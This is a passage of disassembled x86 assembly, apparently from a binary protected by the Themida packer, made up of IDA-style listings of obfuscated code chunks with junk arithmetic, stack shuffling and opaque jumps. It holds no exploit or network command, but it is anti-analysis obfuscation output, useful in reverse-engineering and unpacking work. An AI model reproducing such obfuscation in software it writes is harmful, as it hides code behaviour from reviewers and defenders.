; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_59541D:				; CODE XREF: Themida_:0058F19Bj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_58E329
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_595431:				; CODE XREF: sub_5916C4+610Ej
		mov	cl, dh
		mov	bl, cl
		jmp	loc_594390
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_59543A:				; CODE XREF: Themida_:00595C1Dj
		shr	bh, 3
		inc	bh
		jp	loc_590CF7
		xor	bh, 0E0h
		mov	ah, bh
		jmp	loc_591280
; ---------------------------------------------------------------------------


loc_59544F:				; CODE XREF: Themida_:0058DCFAj
		mov	eax, 61AD291Eh
		xor	eax, 6F7440AEh
		sub	ebp, eax
		pop	eax
		xor	ebp, 744337B5h
		sub	ebp, 8572AF5Fh
		add	ecx, 6ECD030Eh
		add	ecx, ebp
		sub	ecx, 6ECD030Eh
		jmp	loc_592A7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_59547B:				; CODE XREF: sub_5916C4-3C2Aj
		add	eax, 67371400h
		add	eax, ebx
		push	ebx
		mov	ebx, 67371400h
		sub	eax, ebx
		pop	ebx
		push	1B17h
		mov	[esp-0Ch+arg_8], esi
		push	edi
		mov	edi, 0BB0B99h
		mov	esi, edi
		jmp	loc_597F43
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5954A0:				; CODE XREF: sub_58C17E+947Fj
		mov	esi, 4
		add	ecx, esi
		pop	esi
		jmp	loc_592784
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_5954AD:				; CODE XREF: Themida_:005970F0j
		add	eax, 7A53A2CDh
		mov	esi, eax
		pop	eax
		push	edx
		mov	edx, 60CBF0ECh
		sub	esi, edx
		pop	edx
		mov	edi, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_58FC60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590C09


loc_5954DA:				; CODE XREF: sub_594FD6-62F9j
					; sub_590C09+3j
		pop	ecx
		pop	ebx
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_590C09
; ---------------------------------------------------------------------------


loc_5954E1:				; CODE XREF: Themida_:00593A7Ej
		xor	ebp, 11DB0959h
		shr	ebp, 2
		add	ebp, 50391213h
		xor	ebp, 38B66D62h
		add	edx, ebp
		jmp	loc_597567
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_5954FD:				; CODE XREF: sub_59762D-9A8Cj
		add	edi, ebp
		pop	ebp
		sub	edi, 0E9065A7h
		sub	edi, 50C11B4h
		add	edi, esi
		add	edi, 50C11B4h
		push	ebx
		jmp	loc_593F18
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_59551A:				; CODE XREF: Themida_:0059052Dj
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_58A74D
; ---------------------------------------------------------------------------


loc_595529:				; CODE XREF: Themida_:0058D632j
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_594D26
; ---------------------------------------------------------------------------


loc_595538:				; CODE XREF: Themida_:0058C44Bj
		not	ebx
		sub	ebx, 8F5A17F5h
		sub	eax, ebx
		pop	ebx
		sub	eax, 53C40480h
		sub	eax, ebx
		jmp	loc_590D1B
; ---------------------------------------------------------------------------


loc_59554F:				; CODE XREF: Themida_:00590A63j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_58FD43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5919E2


loc_595564:				; CODE XREF: sub_5919E2-4E0Bj
		mov	ebp, esi
		pop	esi
		add	esi, ebp
		pop	ebp
		add	edx, esi
		pop	esi
		jmp	loc_5902BF
; END OF FUNCTION CHUNK	FOR sub_5919E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_595572:				; CODE XREF: sub_58F5B5-74Dj
		pop	ecx
		neg	esi
		dec	esi
		add	esi, offset byte_42404D
		sub	eax, 7DFF51DDh
		jmp	loc_59626C
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_595586:				; CODE XREF: Themida_:0058F8D1j
		mov	ebp, 57B44BA4h
		jmp	loc_58D6DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_595590:				; CODE XREF: sub_59762D-145Aj
		pop	ebx
		shl	ebp, 5
		js	loc_5923D6
		jmp	loc_591B3D
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
		shr	ecx, 4
		neg	ecx
		mov	edi, ebp

; =============== S U B	R O U T	I N E =======================================



sub_5955A6	proc near		; CODE XREF: sub_596CA1-8150j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058AD69 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005974C0 SIZE 00000046 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	ah, 65h
		jmp	loc_5974C0
sub_5955A6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5955B6:				; CODE XREF: Themida_:0058E719j
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58FBAF
; ---------------------------------------------------------------------------


loc_5955D1:				; CODE XREF: Themida_:005912AFj
		pop	esi
		sub	esi, 1A303338h
		add	edi, esi
		pop	esi
		add	edi, 2
		push	0CC3h
		jmp	loc_593CA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_5955E8:				; CODE XREF: sub_58F5B5+516Aj
		add	ebp, 0F4D74686h
		mov	ebx, ebp
		pop	ebp
		inc	ebx
		xchg	ebp, ebx
		not	ebp
		jmp	loc_5939F4
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5955FB:				; CODE XREF: sub_58C17E+B5D8j
		pop	edi
		push	esi
		jmp	loc_5954A0
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_595602:				; CODE XREF: sub_5916C4+50FFj
		mov	cl, 0B3h
		or	dh, cl
		jmp	loc_58BD2B
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_59560B:				; CODE XREF: Themida_:0058CB84j
		mov	[esp], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_58ECC0
; ---------------------------------------------------------------------------


loc_595620:				; CODE XREF: Themida_:0058EB6Fj
		not	eax
		xchg	eax, [esp]
		pop	ebp
		push	ebx
		mov	ebx, 14F557Ch
		dec	ebx
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_595955
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_595637:				; CODE XREF: sub_595E21-9169j
		dec	ebx
		jnp	loc_590D69
		shr	ebx, 7
		jns	loc_5932C5
		sub	ebx, 0FFFDBA48h
		jmp	loc_591AC2
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]

; =============== S U B	R O U T	I N E =======================================



sub_595655	proc near		; CODE XREF: sub_597716-D0BDj

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058A919 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0058C4F8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058CA3D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058D27D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058D526 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F7E2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058F954 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00592607 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00593973 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059440A SIZE 00000036 BYTES
; FUNCTION CHUNK AT 00595CE3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00597048 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00597F78 SIZE 0000001F BYTES

		push	ebx
		mov	ebx, 0F3C73F1h
		and	ebx, 297B411Ah
		push	edx
		mov	edx, 4238301Ch
		sub	edx, 0FFFFFFFFh
		neg	edx
		or	edx, 33EB3B39h
		jmp	loc_595CE3
sub_595655	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_59567A:				; CODE XREF: Themida_:00594461j
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	ecx, ebx
		jmp	loc_592399
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_59568E:				; CODE XREF: sub_590467+Fj
		shr	ebx, 1
		xor	ebx, 0EA17DB00h
		xor	esi, ebx
		jmp	loc_58B4CE
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_59569D:				; CODE XREF: Themida_:0058F34Dj
		mov	cl, 64h
		and	bl, cl
		jmp	loc_5925F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5966C1


loc_5956A6:				; CODE XREF: sub_5966C1+C5Ej
		push	eax
		mov	eax, 6C03719Fh
		or	edx, eax
		pop	eax
		sub	edx, 5A75247Ah
		jmp	loc_58C210
; END OF FUNCTION CHUNK	FOR sub_5966C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5956BA:				; CODE XREF: sub_5916C4-D8Bj
		or	eax, eax
		jz	loc_5913B3
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	edx
		push	esi
		jmp	loc_58AC58
; ---------------------------------------------------------------------------


loc_5956CF:				; CODE XREF: sub_5916C4-B24j
		add	ecx, eax
		jmp	sub_5936D6
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_5956D6:				; CODE XREF: Themida_:0058F0BDj
					; Themida_:00596909j
		jnp	loc_597F70
		sub	dh, 0B2h
		jmp	loc_58F8F2
; ---------------------------------------------------------------------------
		not	eax
		inc	eax
		mov	al, cl


loc_5956E9:				; CODE XREF: Themida_:0058DD4Cj
		shr	esi, 1
		sub	esi, 86EDEA3Dh
		mov	edx, esi
		jmp	loc_58B1BF
; ---------------------------------------------------------------------------


loc_5956F8:				; CODE XREF: Themida_:0058E57Aj
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_593102
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_595705:				; CODE XREF: sub_5916C4+349Cj
		add	ecx, 4
		push	ebp
		mov	ebp, 50CA6A0Eh
		jmp	loc_592A17
; ---------------------------------------------------------------------------


loc_595716:				; CODE XREF: sub_59762D-AFBFj
					; sub_5916C4+319j
		shl	ecx, 3
		neg	ecx
		and	ecx, 61524015h
		push	ebp
		mov	ebp, 0EEAED357h
		sub	ecx, ebp
		jmp	loc_58DCC0
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_59572E:				; CODE XREF: Themida_:0059456Cj
					; Themida_:0059677Cj
		sub	eax, 599D6AFAh
		add	ebp, eax
		jmp	loc_593EDB
; ---------------------------------------------------------------------------


loc_59573A:				; CODE XREF: Themida_:005904A4j
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_594A4E
; ---------------------------------------------------------------------------


loc_595746:				; CODE XREF: Themida_:0058D9DBj
		push	ax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_59574E:				; CODE XREF: Themida_:005910A9j
		neg	ah
		add	ah, 0EDh
		xor	dl, ah
		pop	eax
		not	dl
		xor	dl, 50h
		dec	dl
		xor	dl, 2Ch
		sub	al, dl
		pop	edx
		sub	al, 9Bh
		jmp	loc_596B8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_59576A:				; CODE XREF: sub_590010-2B7Ej
		xchg	edi, [esp+0]
		pop	esp
		jmp	loc_592C35
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_595773:				; CODE XREF: sub_59762D-156Fj
		or	ebx, 73BA6790h
		jno	loc_5961CB
		sub	ebx, 4AE42B21h
		mov	ebp, ebx
		xor	al, 0D7h


loc_595789:				; CODE XREF: Themida_:0058C90Fj
		sub	dh, 1
		jmp	loc_592996
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_595791:				; CODE XREF: sub_595E21-709Bj
		push	[esp-8+arg_4]
		pop	edi
		push	ecx
		mov	ecx, esp
		push	5C0Bh
		mov	[esp+0], esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		jmp	loc_58A617
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5957AD:				; CODE XREF: sub_58C17E-11Fj
		add	edx, ecx
		add	edx, 3FC579D0h
		jmp	loc_58CAF7
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_5957BA:				; CODE XREF: sub_590467-6070j
		sub	esi, 4
		push	esi
		push	[esp+arg_0]
		pop	esi
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		mov	[esp-4+arg_0], eax
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		push	5641h
		mov	[esp-4+arg_0], edx
		push	eax
		jmp	loc_59780B
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_5957E3:				; CODE XREF: Themida_:0058DB40j
		xor	ebx, 5345005Bh
		shr	ebx, 7
		and	ebx, 307329h
		jmp	loc_58F458
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5957F7:				; CODE XREF: sub_5916C4+A93j
		pop	eax
		jmp	loc_58B765
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936D6


loc_5957FD:				; CODE XREF: sub_5936D6+9j
		mov	dh, al
		jmp	loc_59681E
; END OF FUNCTION CHUNK	FOR sub_5936D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_595804:				; CODE XREF: sub_592D25-246Dj
		sub	edi, 199F0951h
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		sub	esp, 4
		mov	[esp+10h+var_10], ebx
		jmp	loc_5923AC
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------


loc_595821:				; CODE XREF: Themida_:0058FD0Fj
		add	ebp, 0FFFFFFFFh
		shl	ebp, 2
		xor	ebp, 0F955BED6h
		add	eax, ebp
		pop	ebp
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		btc	[esp], ax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_59584A:				; CODE XREF: Themida_:00590E6Cj
		pop	ecx
		push	edx
		push	ebx
		mov	ebx, 4B1E1C5Bh
		jmp	loc_58DA71
; ---------------------------------------------------------------------------


loc_595857:				; CODE XREF: Themida_:00591ECBj
		sub	ebx, 0CF1CFB3Ah
		jmp	loc_58FD14
; ---------------------------------------------------------------------------


loc_595862:				; CODE XREF: Themida_:0058CD5Ej
		sub	esi, ecx
		pop	ecx
		xor	esi, 0D5B4B866h
		mov	edi, esi
		pop	esi
		jmp	loc_58D630
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5947CE
; ---------------------------------------------------------------------------


loc_595898:				; CODE XREF: Themida_:0059425Dj
		xchg	eax, esi
		not	eax
		xchg	eax, esi
		sub	esi, 6B233209h
		add	esi, 49C1B86Bh
		sub	ebp, 44FD2242h
		add	ebp, esi
		add	ebp, 44FD2242h
		pop	esi
		push	edi
		mov	edi, esp
		jmp	loc_59193A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5958BF:				; CODE XREF: sub_5916C4-4C8Cj
		mov	ch, 3Ch
		add	al, ch
		pop	ecx
		sub	al, dh
		sub	al, 3Ch
		pop	edx
		add	al, 0ADh
		jmp	loc_590845
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_5958D0:				; CODE XREF: Themida_:005941F3j
		mov	[esp], ebx
		mov	ebx, 36DE3844h
		push	edx
		push	ebx
		jmp	loc_58A95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5958DF:				; CODE XREF: sub_58C17E+85j
					; Themida_:loc_58DB89j
		push	[esp+6+var_8+2]
		mov	ebx, [esp+0Ah+var_C+2]
		add	esp, 4
		jmp	loc_598030
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_5958F0:				; CODE XREF: sub_5EC2E8-5F4D8j
		inc	cl
		jmp	loc_58DC36
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_5958F7:				; CODE XREF: Themida_:00593DCAj
		pop	edx
		shl	bh, 2
		or	bh, 8Eh
		jmp	loc_59457F
; ---------------------------------------------------------------------------


loc_595903:				; CODE XREF: Themida_:0058C729j
		sub	ah, 59h
		and	dh, ah
		pop	eax
		jmp	loc_58A8FA

; =============== S U B	R O U T	I N E =======================================



sub_59590E	proc near		; CODE XREF: sub_590010-584Ej

arg_0		= word ptr  4

; FUNCTION CHUNK AT 0058DFDF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058E8A5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00594A14 SIZE 00000020 BYTES

		push	ebx
		push	ecx
		push	1F0F3EEDh
		pop	ecx
		add	ecx, 17D3F90Eh
		jmp	loc_594A14
sub_59590E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_595921:				; CODE XREF: sub_58C17E+1163j
		pop	edi
		neg	ecx
		neg	ecx
		shr	ecx, 5
		xor	ecx, 22785E3Ch
		jmp	loc_58D869
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596CA1


loc_595934:				; CODE XREF: sub_596CA1-C757j
		mov	ebx, esp
		jmp	loc_5923CB
; END OF FUNCTION CHUNK	FOR sub_596CA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_59593B:				; CODE XREF: sub_58F5B5+7520j
		jno	loc_590DA6
		push	1A89h
		mov	[esp+4+var_4], ebx
		push	ebp
		jmp	loc_58A83F
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_59594F:				; CODE XREF: sub_59524C-ABC8j
		pop	ecx
		jmp	loc_595D14
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------


loc_595955:				; CODE XREF: Themida_:00595632j
		push	edx
		mov	edx, 29344E4Dh
		neg	edx
		jmp	loc_5917C5
; ---------------------------------------------------------------------------


loc_595962:				; CODE XREF: Themida_:00597FC5j
		push	edx
		mov	edx, 2
		jmp	loc_58EE33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_59596D:				; CODE XREF: sub_5916C4-1B43j
		mov	dx, word ptr [esp-10h+arg_C]
		push	esi
		sub	esp, 4
		push	esp
		pop	[esp-4+arg_0]
		push	32D9h
		mov	[esp-4+arg_0], ecx
		mov	ecx, 4
		add	[esp-4+arg_4], ecx
		pop	ecx
		push	[esp-8+arg_4]
		pop	esi
		push	ebx
		mov	ebx, esp
		jmp	loc_58E859
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_595997:				; CODE XREF: Themida_:0058AAF7j
		add	al, 98h
		sub	al, 0C4h
		sub	al, bl
		add	al, 0C4h
		jmp	loc_594645
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_5959A4:				; CODE XREF: sub_5916CB-65F6j
		pop	ecx
		push	esi
		mov	esi, 1BFD0BB5h
		and	esi, 35730607h
		add	esi, 6B84D5DCh
		sub	edi, esi
		jmp	loc_58E4E3
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_5959BE:				; CODE XREF: sub_592D25-8CCj
		mov	edx, 4A728C0Dh
		add	ecx, edx
		pop	edx
		mov	eax, ecx
		pop	ecx
		and	edx, eax
		jmp	loc_58A4EA
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------


loc_5959D0:				; CODE XREF: Themida_:005908AEj
		add	bl, ch
		pop	ecx
		jmp	loc_593AD0
; ---------------------------------------------------------------------------


loc_5959D8:				; CODE XREF: Themida_:0058F06Dj
		push	ebp
		push	ecx
		mov	ecx, 7E76029Fh
		jmp	loc_5923DB
; ---------------------------------------------------------------------------


loc_5959E4:				; CODE XREF: Themida_:0058D305j
		sub	ebp, 144BD588h
		mov	ecx, ebp
		pop	ebp
		add	[esp+8], ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 56770CD0h
		or	edi, 29AA08FBh
		jge	loc_591849
		and	edi, 13022E1Fh
		xor	dl, 84h
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_595A16:				; CODE XREF: sub_58C17E+3361j
		and	ecx, 6CA03396h
		xchg	edx, ecx
		not	edx
		jmp	loc_58FA20
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_595A25:				; CODE XREF: Themida_:0058DF9Bj
		not	esi
		jmp	loc_58C426
; ---------------------------------------------------------------------------


loc_595A2C:				; CODE XREF: Themida_:0058CE67j
		xor	eax, ebx
		push	7D57h
		mov	[esp], edi
		push	eax
		push	3D31h
		jmp	loc_593DBB
; ---------------------------------------------------------------------------
		push	25F0h
		mov	[esp], esi
		push	edi
		mov	edi, esp
		jmp	loc_58CEFD
; ---------------------------------------------------------------------------


loc_595A51:				; CODE XREF: Themida_:00596267j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ecx, 2
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ebx
		mov	bl, dl
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		mov	ebp, 0B704854h
		shl	ebp, 5
		jmp	loc_58FA62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_595A83:				; CODE XREF: sub_595123-5CEBj
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_592139
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_595A8E:				; CODE XREF: sub_5916C4-5BACj
		sub	ebx, eax
		push	edx
		mov	edx, 493A36F6h
		shr	edx, 4
		shr	edx, 1
		shr	edx, 6
		xor	edx, 7F99589Bh
		sub	ebx, edx
		mov	edx, [esp-0Eh+arg_8+2]
		add	esp, 4
		push	esi
		mov	esi, 7EC06810h
		jmp	loc_58FB7E
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_595ABA:				; CODE XREF: Themida_:00591258j
		mov	dh, 7Eh
		push	ecx
		mov	cl, 68h
		sub	dh, cl
		mov	ecx, [esp]
		jmp	loc_58B9B2
; ---------------------------------------------------------------------------


loc_595AC9:				; CODE XREF: Themida_:00593530j
		push	esp
		jmp	loc_58E63D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_595ACF:				; CODE XREF: sub_590010:loc_590545j
		jmp	loc_58C60A
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_595AD4:				; CODE XREF: sub_5EC2E8-6039Aj
		sub	esi, eax
		pop	eax
		jmp	loc_58B00A
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_595ADC:				; CODE XREF: Themida_:0058EA74j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_591130
; ---------------------------------------------------------------------------


loc_595AEA:				; CODE XREF: Themida_:0058A99Bj
		mov	dh, 8Fh
		mov	cl, dh
		pop	edx
		xor	bl, cl
		pop	cx
		sub	al, bl
		pop	ebx
		sub	esp, 4
		jmp	loc_593FC2
; ---------------------------------------------------------------------------


loc_595AFE:				; CODE XREF: Themida_:0059719Bj
		xor	ebx, 293617CAh
		not	ebx
		jmp	loc_58BFBA
; ---------------------------------------------------------------------------


loc_595B0B:				; CODE XREF: Themida_:0058E31Cj
		pop	ebx
		mov	edx, ecx
		pop	ecx
		jmp	loc_59712B
; ---------------------------------------------------------------------------


loc_595B14:				; CODE XREF: Themida_:0058D9EBj
		add	edx, esi
		jmp	loc_59620C
; ---------------------------------------------------------------------------


loc_595B1B:				; CODE XREF: Themida_:0058B393j
		add	esi, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5973E0
; ---------------------------------------------------------------------------


loc_595B2F:				; CODE XREF: Themida_:00595C51j
		add	ebx, 0B96F61ABh
		sub	esi, ebx
		jmp	loc_5973E9
; ---------------------------------------------------------------------------


loc_595B3C:				; CODE XREF: Themida_:0058B054j
		mov	esp, [esp]
		jmp	loc_58A4F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_595B44:				; CODE XREF: sub_5938B9-81CFj
		dec	ebx
		push	edi
		mov	edi, 2E142FB7h
		add	edi, 3A183B9Dh
		add	edi, 0D3EDC0D9h
		jmp	loc_58E88B
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_595B5C:				; CODE XREF: sub_590467+285Fj
		shr	ecx, 3
		sub	ecx, 631E21DEh
		xor	ecx, 9CE202A6h
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp-0Eh+arg_8+2]
		jmp	loc_591AAC
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_594767
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B70


loc_595B88:				; CODE XREF: sub_590B70+1728j
		add	eax, esi
		pop	esi
		sub	eax, edx
		jmp	loc_58B512
; END OF FUNCTION CHUNK	FOR sub_590B70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_595B92:				; CODE XREF: sub_59524C-57EFj
		dec	ecx
		add	ecx, 27F950B4h
		sub	edi, ecx
		pop	ecx
		mov	ecx, edi
		push	[esp-8+arg_4]
		mov	edi, [esp-4+arg_0]
		add	esp, 4
		add	esp, 4
		sub	edi, ecx
		pop	ecx
		xor	eax, edi
		pop	edi
		push	ebx
		mov	ebx, 6FE5266Bh
		push	edx
		mov	edx, 5F3A1884h
		jmp	loc_58A65E
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------


loc_595BC4:				; CODE XREF: Themida_:0058AC3Ej
		inc	ebp
		jl	loc_591DAB
		dec	ebp
		jo	loc_59066E
		xor	ebp, 0C8391E51h
		mov	ecx, ebp

; =============== S U B	R O U T	I N E =======================================



sub_595BDA	proc near		; CODE XREF: sub_590467+312Cj

var_4		= dword	ptr -4
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0058AC50 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058ACF4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058B22C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058C7F9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058D149 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058DED8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058FD39 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005910AE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591400 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005922E0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005938EF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00593ABC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00593E3F SIZE 00000005 BYTES
